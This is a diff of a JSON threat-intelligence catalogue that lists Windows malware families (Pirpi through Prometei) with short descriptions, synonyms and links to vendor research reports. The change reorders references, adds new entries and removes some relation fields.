@@ -35772,15 +37688,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "4859330d-c6a5-4b9c-b45b-536ec983cd4a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e2325481-006f-4ad4-86d9-1a2ae6fea154", "value": "pirpi" }, @@ -35789,11 +37696,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou", - "https://www.tgsoft.it/english/news_archivio_eng.asp?id=884", "https://isc.sans.edu/diary/rss/25068", + "https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf", + "https://www.tgsoft.it/english/news_archivio_eng.asp?id=884", "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.565.9211&rep=rep1&type=pdf", - "https://johannesbader.ch/2019/07/the-dga-of-pitou/", - "https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf" + "https://johannesbader.ch/2019/07/the-dga-of-pitou/" ], "synonyms": [], "type": [] @@ -35838,23 +37745,14 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", - "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", - "https://unit42.paloaltonetworks.com/atoms/rancortaurus/" + "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", + "https://unit42.paloaltonetworks.com/atoms/rancortaurus/", + "https://www.secureworks.com/research/threat-profiles/bronze-overbrook" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "58b24db2-79d7-11e8-9b1b-bbdbc798af4f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "66087a9c-b5ac-4d6d-b79e-c0294728c876", "value": "PLAINTEE" }, @@ -35863,9 +37761,17 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.play", + "https://www.orangecyberdefense.com/global/blog/playing-the-game", + "https://chuongdong.com/reverse%20engineering/2022/09/03/PLAYRansomware/", + "https://www.bleepingcomputer.com/news/security/rackspace-confirms-play-ransomware-was-behind-recent-cyberattack/", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-play-ransomware", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy", "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.avertium.com/resources/threat-reports/an-in-depth-look-at-play-ransomware", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", "https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html", - "https://chuongdong.com/reverse%20engineering/2022/09/03/PLAYRansomware/" + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65" ], "synonyms": [ "PlayCrypt" @@ -35893,29 +37799,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.plead", - "https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html", - "https://blogs.jpcert.or.jp/en/2018/11/tscookie2.html", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf", - "https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", - "https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", - "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", - "https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", - "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "http://www.freebuf.com/column/159865.html", - "https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/", - "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html", "https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/", - "https://www.fireeye.com/blog/threat-research/2016/04/ghosts_in_the_endpoi.html", - "https://blogs.jpcert.or.jp/en/2019/05/tscookie3.html", - "https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html", + "https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/", "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020", - "https://securelist.com/apt-trends-report-q2-2019/91897/" + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", + "https://blogs.jpcert.or.jp/en/2018/11/tscookie2.html", + "https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html", + "https://www.fireeye.com/blog/threat-research/2016/04/ghosts_in_the_endpoi.html", + "https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", + 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"https://researchcenter.paloaltonetworks.com/2014/09/recent-watering-hole-attacks-attributed-apt-group-th3bug-using-poison-ivy/", + "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", "https://blog.fortinet.com/2017/09/15/deep-analysis-of-new-poison-ivy-plugx-variant-part-ii", "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", - "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/analysing-a-recent-poison-ivy-sample/", "https://unit42.paloaltonetworks.com/atoms/crawling-taurus/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", + "https://community.riskiq.com/article/56fa1b2f", + "https://us-cert.cisa.gov/ncas/alerts/aa20-275a", "https://www.recordedfuture.com/china-linked-ta428-threat-group", - "https://www.fireeye.com/blog/threat-research/2013/10/know-your-enemy-tracking-a-rapidly-evolving-apt-actor.html", - "https://www.fortinet.com/blog/threat-research/pivnoxy-and-chinoxy-puppeteer-analysis", - "https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf", - "https://github.com/CyberMonitor/APT_CyberCriminal_Campagin_Collections/blob/master/2016/2016.04.26.New_Poison_Ivy_Activity_Targeting_Myanmar_Asian_Countries/New%20Poison%20Ivy%20Activity%20Targeting%20Myanmar%2C%20Asian%20Countries.pdf", - "https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf", - "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", - "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", + "https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf" ], "synonyms": [ "SPIVY", @@ -36276,15 +38194,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "2abe89de-46dd-4dae-ae22-b49a593aff54", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "7789fc1b-3cbc-4a1c-8ef0-8b06760f93e7", "value": "Poison Ivy" }, @@ -36306,9 +38215,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poldat", + "http://fireeyeday.com/1604/pdf/KeyNote_2.pdf", "https://youtu.be/DDA2uSxjVWY?t=344", - "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf", - "http://fireeyeday.com/1604/pdf/KeyNote_2.pdf" + "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" ], "synonyms": [ "KABOB", @@ -36337,10 +38246,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyglotduke", - "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", "https://www.welivesecurity.com/2019/10/17/operation-ghost-dukes-never-left/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://www.secureworks.com/research/threat-profiles/iron-hemlock" + "https://www.secureworks.com/research/threat-profiles/iron-hemlock", + "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf" ], "synonyms": [], "type": [] @@ -36361,33 +38270,47 @@ "uuid": "5ee77368-5e09-4016-ae73-82b99e830832", "value": "Polyglot" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.polyvice", + "https://www.intrinsec.com/vice-society-spreads-its-own-ransomware/", + "https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "31017b7c-c023-4247-b37d-f15f2df5d25a", + "value": "PolyVice" + }, { "description": "According to KnowBe4, Pony Stealer is a password stealer that can decrypt or unlock passwords for over 110 different applications including VPN, FTP, email, instant messaging, web browsers and much more. Pony Stealer is very dangerous and once it infects a PC it will turn the device into a botnet, allowing it to use the PCs it infects to infect other PCs.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pony", - "https://intel471.com/blog/a-brief-history-of-ta505", "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", - "https://www.youtube.com/watch?v=EyDiIAt__dI", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://github.com/nyx0/Pony", - "https://www.youtube.com/watch?v=y8Z9KnL8s8s", - "https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf", - "https://www.youtube.com/watch?v=42yldTQ-fWA", - "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", - "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", - "https://www.secureworks.com/research/threat-profiles/gold-evergreen", - "https://int0xcc.svbtle.com/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection", - "http://www.secureworks.com/research/threat-profiles/gold-essex", - "https://www.knowbe4.com/pony-stealer", "https://www.secureworks.com/research/threat-profiles/gold-essex", - "http://www.secureworks.com/research/threat-profiles/gold-galleon", "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "https://www.knowbe4.com/pony-stealer", + "https://www.uperesia.com/analysis-of-a-packed-pony-downloader", + "https://int0xcc.svbtle.com/practical-threat-hunting-and-incidence-response-a-case-of-a-pony-malware-infection", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", + "https://www.youtube.com/watch?v=y8Z9KnL8s8s", + "https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/", + "https://i.blackhat.com/asia-21/Thursday-Handouts/as21-Taniguchi-How-Did-The-Adversaries-Abusing-The-Bitcoin-Blockchain-Evade-Our-Takeover.pdf", + "https://github.com/nyx0/Pony", "http://www.secureworks.com/research/threat-profiles/gold-evergreen", + "https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/", + "http://www.secureworks.com/research/threat-profiles/gold-essex", + "https://www.secureworks.com/research/threat-profiles/gold-evergreen", "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", - "https://www.uperesia.com/analysis-of-a-packed-pony-downloader" + "https://www.youtube.com/watch?v=42yldTQ-fWA", + "https://intel471.com/blog/a-brief-history-of-ta505", + "http://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://www.youtube.com/watch?v=EyDiIAt__dI", + "https://www.mcafee.com/us/resources/reports/rp-quarterly-threats-jun-2017.pdf" ], "synonyms": [ "Fareit", @@ -36412,17 +38335,30 @@ "uuid": "54327cbd-d30c-4684-9a66-18ae36b28399", "value": "PoohMilk Loader" }, + { + "description": "According to Mandiant, POORTRY is a malware written as a driver, signed with a Microsoft Windows Hardware Compatibility Authenticode signature. This malware has been observed being used by UNC3944.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.poortry", + "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware" + ], + "synonyms": [], + "type": [] + }, + "uuid": "17b87423-66e5-451e-8a84-5f4fd8bb2b01", + "value": "POORTRY" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poorweb", - "https://securelist.com/apt-trends-report-q2-2018/86487/", - "https://asec.ahnlab.com/ko/18796/", "https://blog.reversinglabs.com/blog/poorweb-exploiting-document-formats", - "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "https://securelist.com/apt-trends-report-q2-2018/86487/", "https://fortiguard.com/resources/threat-brief/2019/05/10/fortiguard-threat-intelligence-brief-may-10-2019", - "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/" + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", + "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "https://asec.ahnlab.com/ko/18796/" ], "synonyms": [], "type": [] @@ -36448,6 +38384,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.portdoor", "https://www.socinvestigation.com/chinese-new-backdoor-deployed-for-cyberespionage/", + "https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba", "https://www.cybereason.com/blog/research/portdoor-new-chinese-apt-backdoor-attack-targets-russian-defense-sector", "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Targeted-attack-on-industrial-enterprises-and-public-institutions-En.pdf" ], @@ -36484,24 +38421,25 @@ "value": "poscardstealer" }, { - "description": "", + "description": "PoshC2 is a proxy aware C2 framework used to aid penetration testers with red teaming, post-exploitation and lateral movement.\r\n\r\nPoshC2 is primarily written in Python3 and follows a modular format to enable users to add their own modules and tools, allowing an extendible and flexible C2 framework. Out-of-the-box PoshC2 comes PowerShell/C# and Python3 implants with payloads written in PowerShell v2 and v4, C++ and C# source code, a variety of executables, DLLs and raw shellcode in addition to a Python3 payload. These enable C2 functionality on a wide range of devices and operating systems, including Windows, *nix and OSX.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poshc2", - "http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets", - "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/", - "https://paper.seebug.org/1301/", - "https://ti.dbappsecurity.com.cn/blog/articles/2021/09/06/operation-maskface/", - "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", - "https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/", - "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", "https://github.com/jeFF0Falltrades/IoCs/blob/master/APT/poshc2_apt_33.md", "https://5851803.fs1.hubspotusercontent-na1.net/hubfs/5851803/Russian%20Ransomware%20C2%20Network%20Discovered%20in%20Censys%20Data.pdf", - "https://go.recordedfuture.com/hubfs/reports/cta-2021-0107.pdf", - "https://github.com/nettitude/PoshC2_Python/", - "https://redcanary.com/blog/getsystem-offsec/", + "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf", + "https://www.fireeye.com/blog/threat-research/2020/07/scandalous-external-detection-using-network-scan-data-and-automation.html", + "https://michaelkoczwara.medium.com/hunting-c2-with-shodan-223ca250d06f", + "https://paper.seebug.org/1301/", + "https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/", + "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://ti.dbappsecurity.com.cn/blog/articles/2021/09/06/operation-maskface/", "https://www.secureworks.com/research/threat-profiles/cobalt-trinity", - "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_0_JPCERT_en.pdf" + "https://github.com/nettitude/PoshC2_Python/", + "https://research.checkpoint.com/2022/dangeroussavanna-two-year-long-campaign-targets-financial-institutions-in-french-speaking-africa/", + "http://www.rewterz.com/rewterz-news/rewterz-threat-alert-iranian-apt-uses-job-scams-to-lure-targets", + "https://redcanary.com/blog/getsystem-offsec/" ], "synonyms": [], "type": [] @@ -36514,10 +38452,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poslurp", - "https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/", "https://www.root9b.com/sites/default/files/whitepapers/PoS%20Malware%20ShellTea%20PoSlurp.pdf", - "https://twitter.com/just_windex/status/1162118585805758464", - "https://norfolkinfosec.com/fuel-pumps-ii-poslurp-b/" + "https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/", + "https://norfolkinfosec.com/fuel-pumps-ii-poslurp-b/", + "https://twitter.com/just_windex/status/1162118585805758464" ], "synonyms": [ "PUNCHTRACK" @@ -36532,8 +38470,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.poulight_stealer", - "https://www.youtube.com/watch?v=MaPXDCq-Gf4", "https://twitter.com/MBThreatIntel/status/1240389621638402049?s=20", + "https://www.youtube.com/watch?v=MaPXDCq-Gf4", "https://www.carbonblack.com/blog/tau-threat-discovery-cryptocurrency-clipper-malware-evolves/", "https://blog.360totalsecurity.com/en/a-txt-file-can-steal-all-your-secrets/?web_view=true" ], @@ -36550,8 +38488,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.povlsomware", - "https://youtu.be/oYLs6wuoOfg", - "https://www.trendmicro.com/en_us/research/21/c/povlsomware-ransomware-features-cobalt-strike-compatibility.html" + "https://www.trendmicro.com/en_us/research/21/c/povlsomware-ransomware-features-cobalt-strike-compatibility.html", + "https://youtu.be/oYLs6wuoOfg" ], "synonyms": [], "type": [] @@ -36592,9 +38530,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.powercat", - "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/", + "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "https://twitter.com/VK_Intel/status/1141540229951709184", - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/" + "https://www.cyborgsecurity.com/blog/you-dont-know-the-hafnium-of-it/" ], "synonyms": [], "type": [] @@ -36607,8 +38545,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.powerduke", - "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/", - "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/", + "https://www.carbonblack.com/2020/03/26/the-dukes-of-moscow/" ], "synonyms": [], "type": [] @@ -36674,11 +38612,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.powersniff", - "https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf", "https://atr-blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/", - "https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/", "https://lokalhost.pl/gozi_tree.txt", - "https://content.fireeye.com/m-trends/rpt-m-trends-2017" + "https://unit42.paloaltonetworks.com/powersniff-malware-used-in-macro-based-attacks/", + "https://content.fireeye.com/m-trends/rpt-m-trends-2017", + "https://afyonluoglu.org/PublicWebFiles/Reports-TR/2017%20FireEye%20M-Trends%20Report.pdf" ], "synonyms": [ "PUNCHBUGGY" @@ -36693,28 +38631,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.power_ratankba", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", - "https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/", - "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://content.fireeye.com/apt/rpt-apt38", "https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf", - "https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/" + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/", + "https://content.fireeye.com/apt/rpt-apt38", + "https://www.flashpoint-intel.com/blog/disclosure-chilean-redbanc-intrusion-lazarus-ties/", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.riskiq.com/blog/labs/lazarus-group-cryptocurrency/" ], "synonyms": [ "QUICKRIDE.POWER" ], "type": [] }, - "related": [ - { - "dest-uuid": "1f1be19e-d1b5-408b-90a0-03ad27cc8924", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "606f778a-8b99-4880-8da8-b923651d627b", "value": "PowerRatankba" }, @@ -36737,16 +38666,16 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.predator", "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.fortinet.com/blog/threat-research/predator-the-thief-new-routes-delivery.html", "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/paas-or-how-hackers-evade-antivirus-software/", - "https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/", + "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", + "https://www.fortinet.com/blog/threat-research/predator-the-thief-new-routes-delivery.html", + "https://securelist.com/a-predatory-tale/89779", "https://www.bleepingcomputer.com/news/security/fake-microsoft-teams-updates-lead-to-cobalt-strike-deployment/", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_4_ogawa-niseki_en.pdf", "https://fumik0.com/2018/10/15/predator-the-thief-in-depth-analysis-v2-3-5/", + "https://fumik0.com/2019/12/25/lets-play-again-with-predator-the-thief/", "https://www.cybereason.com/blog/the-hole-in-the-bucket-attackers-abuse-bitbucket-to-deliver-an-arsenal-of-malware", - "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", - "https://securelist.com/a-predatory-tale/89779" + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf" ], "synonyms": [], "type": [] @@ -36754,6 +38683,20 @@ "uuid": "54041c03-5714-4247-9226-3c801f59bc07", "value": "Predator The Thief" }, + { + "description": "Ransomware.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.prestige", + "https://blogs.microsoft.com/on-the-issues/2022/12/03/preparing-russian-cyber-offensive-ukraine/", + "https://www.microsoft.com/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "156b617e-2ae4-47a8-9498-6343b24cc6fe", + "value": "Prestige" + }, { "description": "", "meta": { @@ -36764,15 +38707,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "67ade442-63f2-4319-bdcd-d2564b963ed6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "00764634-4a21-4c5c-8b1f-fb294c9bdd3f", "value": "Prikormka" }, @@ -36787,15 +38721,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "523e8772-0610-424c-bcfb-9123bcb8328f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "a0899fec-161d-4ba8-9594-8b5620c21705", "value": "Prilex" }, @@ -36815,21 +38740,24 @@ "value": "PrincessLocker" }, { - "description": "", + "description": "According to sekoia, PrivateLoader is a modular malware whose main capability is to download and execute one or several payloads. The loader implements anti-analysis techniques, fingerprints the compromised host and reports statistics to its C2 server.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.privateloader", - "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", - "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", "https://www.bitsight.com/blog/tracking-privateloader-malware-distribution-service", + "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e", + "https://securelist.com/nullmixer-oodles-of-trojans-in-a-single-dropper/107498/", + "https://blog.sekoia.io/traffers-a-deep-dive-into-the-information-stealer-ecosystem", + "https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/", + "https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html", + "https://www.zscaler.com/blogs/security-research/peeking-privateloader", "https://de.darktrace.com/blog/privateloader-network-based-indicators-of-compromise", "https://www.youtube.com/watch?v=Ldp7eESQotM", - "https://www.zscaler.com/blogs/security-research/peeking-privateloader", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://www.trendmicro.com/en_us/research/22/e/netdooka-framework-distributed-via-privateloader-ppi.html", - "https://medium.com/walmartglobaltech/privateloader-to-anubis-loader-55d066a2653e", "https://intel471.com/blog/privateloader-malware", - "https://tavares.re/blog/2022/06/06/hunting-privateloader-pay-per-install-service/" + "https://medium.com/walmartglobaltech/icedid-leverages-privateloader-7744771bf87f", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://www.bitsight.com/blog/unpacking-colibri-loader-russian-apt-linked-campaign", + "https://www.bitsight.com/blog/zero-50k-infections-pseudomanuscrypt-sinkholing-part-1" ], "synonyms": [], "type": [] @@ -36842,9 +38770,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.privatelog", - "https://twitter.com/ESETresearch/status/1433819369784610828", "https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html", "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques", + "https://twitter.com/ESETresearch/status/1433819369784610828", "https://www.cybereason.com/blog/operation-cuckoobees-a-winnti-malware-arsenal-deep-dive" ], "synonyms": [], @@ -36872,9 +38800,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.prometei", "https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer--a-ransomware--and-a-botnet-join-the-part.html", - "https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities", "https://twitter.com/honeymoon_ioc/status/1494016518694309896", - "https://twitter.com/honeymoon_ioc/status/1494311182550904840" + "https://blog.talosintelligence.com/prometei-botnet-improves/", + "https://twitter.com/honeymoon_ioc/status/1494311182550904840", + "https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities" ], "synonyms": [], "type": [] @@ -36887,16 +38816,16 